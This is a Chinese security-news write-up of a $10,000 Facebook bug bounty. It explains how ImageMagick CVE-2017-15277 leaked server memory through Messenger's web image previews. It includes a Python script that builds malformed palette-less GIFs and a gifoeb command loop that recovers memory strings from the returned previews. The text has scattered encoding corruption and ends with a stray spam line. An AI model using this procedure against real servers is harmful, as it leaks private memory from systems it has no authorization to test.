挖洞经验 | Facebook Messenger网页版ImageMagick漏洞($10K)

        2019-03-23 50874人围观 ,发现 2 个不明物体 WEB安全漏洞

        messenger-header.jpg本文分享的是Facebook Messenger网页版本的ImageMagick漏洞(CVE-2017–15277),虽然是一个老洞,但也仍然存在于Facebook平台中。利用该漏洞可以间接导致服务器内存信息泄露,最终漏洞发?#32456;?#33719;得了Facebook官方$10,000美金的奖励。

        ImageMagick漏洞CVE-2017–15277介绍

        CVE-2017–15277最早于2017年10月被安全研究人员Emil Lerner发现,它属于开源图像处理组件ImageMagick漏洞,受影响软件为ImageMagick 7.0.6–1和Graphicsmagick 1.3.26。原因在于,当ImageMagick在处理不具备全局或本地调色板的GIF图片时,ImageMagick 7.0.6–1和Graphicsmagick 1.3.26中存在未初始化的调色板,其coders/gif.c文件中ReadGIFImage存在安全漏洞,如果攻击者利用ReadGIFImage?#21019;?#29702;GIF图片,构造操作,可以通过未初始化的调色板来间接获取到服务器中的内存数据信息。

        简单地说就是,如果服务器中部署了ImageMagick 7.0.6–1和Graphicsmagick 1.3.26,且其中具备未初始化的调色板机制,那么,利用CVE-2017–15277,通过构造图片文件,上传至服务器中的任何可上传地方,之后,服务器通过处理这种构造图片,就会利用未初始化的调色板机制,把其转化成不同的图片预览文件,而在这些图片预览文件中,可能包含了一些和服务器内存相关的信息,如Stack trace(堆栈跟踪)和String value(字符串值)信息?#21462;?/p>

        此外,从?#23548;?#21151;能来说,ImageMagick是一个显示、转换和编辑光栅图像和矢?#23458;?#20687;文件的开源软件,它被用于许多web应用中的裁剪、调整大小?#36879;?#21464;颜色功能,且支持多种图像格式。

        漏洞发现思路

        2018年2月,我在测试Facebook Messenger 的安卓应用APP,研究它对一些损坏GIF图片的处理机制。受ImageMagick漏洞(CVE-2017–15277)“gif编码器中未初始化的内存泄露”的启发,也正好看到了俄罗斯研究人员发布的对应的漏洞利用工具 – “gifoeb”。之后,我经测试发现,Facebook Messenger 在处理用gifoeb生成的空指针解引用(Nullpointer Dereferrence)类图片时,APP程序会发生?#35272;#?#32780;Facebook官方并不接收这种APP应用类的拒绝服务类漏洞。后来,我就想继续深入研究一下Facebook Messenger 对GIF格式的处理机制,以及GIF图片的生成方式。

        基本的GIF图片格式

        经过查找,我了解了GIF图片的基本格式,其主要的格式头如下:

        Offset   Length   Contents
          0      3 bytes  "GIF"
          3      3 bytes  "87a" or "89a"
          6      2 bytes  <Logical Screen Width>
          8      2 bytes  <Logical Screen Height>
         10      1 byte   bit 0:    Global Color Table Flag (GCTF)
                          bit 1..3: Color Resolution
                          bit 4:    Sort Flag to Global Color Table
                          bit 5..7: Size of Global Color Table: 2^(1+n)
         11      1 byte   <Background Color Index>
         12      1 byte   <Pixel Aspect Ratio>
         13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>
                 ? bytes  <Blocks>
                 1 bytes  <Trailer> (0x3b)

        你也可以点此参考详细的GIF图片格式?#24471;?/a>。之后,我决定用最少的必填字段生成一些简单的GIF图片。

        生成GIF图片

        我用Python写了个GIF生成脚本,如下:

        import struct
        screenWidth = 640
        screenHeight = 480
        f = open('test.gif', 'wb')
        # Offset   Length   Contents
        #   0      3 bytes  "GIF"
        #   3      3 bytes  "87a" or "89a"
        f.write(b"GIF89a")
        #   6      2 bytes  <Logical Screen Width>
        f.write(struct.pack('<h', screenWidth))
        #   8      2 bytes  <Logical Screen Height>
        f.write(struct.pack('<h', screenHeight))
        #  10      1 byte   bit 0:    Global Color Table Flag (GCTF)
        #                   bit 1..3: Color Resolution
        #                   bit 4:    Sort Flag to Global Color Table
        #                   bit 5..7: Size of Global Color Table: 2^(1+n)
        bits = int('00000010', 2)
        f.write(struct.pack('<b', bits))
        #  11      1 byte   <Background Color Index>
        f.write(struct.pack('<b', 0))
        #  12      1 byte   <Pixel Aspect Ratio>
        f.write(struct.pack('<b', 1))
        #  13      ? bytes  <Global Color Table(0..255 x 3 bytes) if GCTF is one>
        #          ? bytes  <Blocks>
        # Offset   Length   Contents
        #   0      1 byte   Image Separator (0x2c)
        f.write(struct.pack('<b', 0x2c))
        #   1      2 bytes  Image Left Position
        f.write(struct.pack('<h', 0))
        #   3      2 bytes  Image Top Position
        f.write(struct.pack('<h', 0))
        #   5      2 bytes  Image Width
        f.write(struct.pack('<h', screenWidth))
        #   7      2 bytes  Image Height
        f.write(struct.pack('<h', screenHeight))
        #   8      1 byte   bit 0:    Local Color Table Flag (LCTF)
        #                   bit 1:    Interlace Flag
        #                   bit 2:    Sort Flag
        #                   bit 2..3: Reserved
        #                   bit 4..7: Size of Local Color Table: 2^(1+n)
        #          ? bytes  Local Color Table(0..255 x 3 bytes) if LCTF is one
        f.write(struct.pack('<b', int('00000100', 2)))
        #          1 byte   LZW Minimum Code Size
        #f.write(struct.pack('<b', 1))
        # [ // Blocks
        #          1 byte   Block Size (s)
        #f.write(struct.pack('<b', 1))
        #         (s)bytes  Image Data
        # ]*
        #          1 byte   Block Terminator(0x00)
        #f.write(struct.pack('<b', 0))
        #          1 bytes  <Trailer> (0x3b)
        f.write(struct.pack('<b', 0x3b))
        f.close()

        利用这个脚本,就可以生成我们想要的GIF图片了,其中包含了图片内容、大小、位置等简单属性设置。通过我的注释可以看出,我未填充任何GIF图片数据,所以在Color Table尾部后的这个Image Data块是空的。

        测试Facebook Messenger

        利用上述生成脚本,我生成了各种不同大小、头部字段和像素的图片,但是这些所有图片的Image Data块都是空的。之后,我开始把它们在Facebook Messenger的安卓APP上进行测试,但是,但是,什么异常都没有,#$&^%$()&@。哦,好吧,那我去试试Facebook Messenger的网页版吧。

        登录Facebook Messenger网页版的方式为,在下方网页进行登录:

        Facebook Messenger网页版ImageMagick漏洞

        登录之后,可以在以下红框内和好友进行信息发送:

        Facebook Messenger网页版ImageMagick漏洞现在,我?#36879;?#25105;的测试账号发了上述生成图片中的一张,发?#32479;?#21435;后,图片的样子有点奇怪:

        Facebook Messenger网页版ImageMagick漏洞等等,我们的图片不是没什么数据内容吗?怎么,Facebook Messenger网页版后端的解析有点异常。于是,我?#33268;?#19978;换了另外一个尺寸的图片进行发送,咦,还有?#34892;?#38382;题,它被解析为了一张?#33258;?#22768;图片:

        Facebook Messenger网页版ImageMagick漏洞接着,我?#31181;?#26032;选择了同一张图片进行发送,这次,Messenger后端解析出的图片和上一次相比,又有一些小小的不同:

        Facebook Messenger网页版ImageMagick漏洞经过不同尺寸的GIF图片测试发送之后,Messenger后端解析出了一张信号比较稳定的全屏图片:

        Facebook Messenger网页版ImageMagick漏洞最终,反复的测试发送后,Messenger后端还解析出了相对稳定的图片:

        Facebook Messenger网页版ImageMagick漏洞后来,我发现,为什么?#30475;?#30340;图片发送,Messenger后端都会有不同的解析结果,原因是因为?#20197;?#26412;生成的图片中没有包含任?#25991;?#23481;,因此,Messenger后端会利用调色板机制,把?#31354;?#22270;片进行随机的预览处理,所以?#30475;?#30340;发送图片都会有不同的解析预览效果,也就是说,在这些Messenger后端生成的解析预览图片中,就包含了Messenger后端服务器的某些信息。(PS:其实文中作者各种不同大小、头部字段或像素的GIF图片生成,也可以用CVE-2017–15277利用工具gifoeb来完成,具体参考 gifoeb的Github页面)。

        以下为?#30475;?#22270;片发送后的Messenger后端解析效果视频:

        看不到?点这里

        内存信息泄露

        有了这些Messenger后端生成的解析预览图片,我们可以把它们保存在本地,利用CVE-2017–15277利用工具gifoeb,通过执行以下命令:

        for p in previews/*; do
            ./gifoeb recover $p | strings;
          done

        1_j3BKI0ufMWTRklihhvBJDg.jpeg就能从这些图片中提取出Messenger后端服务器的内存信息,文中作者省略了最终的这一步,大家可以参考《HackerOne平台ImageMagick漏洞导致服务器内存信息泄露》体会最终的内存信息泄露效果。

        漏洞修复进程

        2018.2.26  漏洞初报

        2018.3.1    漏洞分类

        2018.3.9    漏洞修复

        2018.3.21   Facebook向我奖励了$10000美金

        *参考来源:vulnano,clouds编译,转载请注明来自FreeBuf.COM

        发表评论

        已有 2 条评论

        取消
        Loading...
      1. 3月

        四月去挖洞,五月出国游
        进行中
      2. 3月 成都

        漏洞盒子高校V计划 成都站
        已结束
      3. css.php 永利彩票是骗局吗